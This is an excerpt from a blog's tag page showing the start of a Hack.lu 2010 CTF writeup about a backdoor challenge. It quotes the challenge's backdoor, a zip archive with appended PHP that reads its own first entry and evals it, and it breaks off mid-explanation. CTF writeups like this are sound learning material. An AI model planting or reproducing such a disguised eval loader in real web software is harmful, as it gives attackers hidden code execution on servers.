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Tag: Brainfuck
Oct 31
Hack.lu 2010 CTF #17 (Brainfuck) writeup
You found a backdoor on Captain Brainfuck’s webspace. Exploit it and read his secret file! The page only says ‘happy hacking’, so what would we be doing without its source… [source mirror] “Source” in fact is a zip archive with php code appended: PK <..zip binary trash..> <?php @ob_clean();$z=zip_open(__FILE__); eval($f=zip_entry_read(zip_read($z),1000));@ob_end_flush();?> It simply reads itself (the …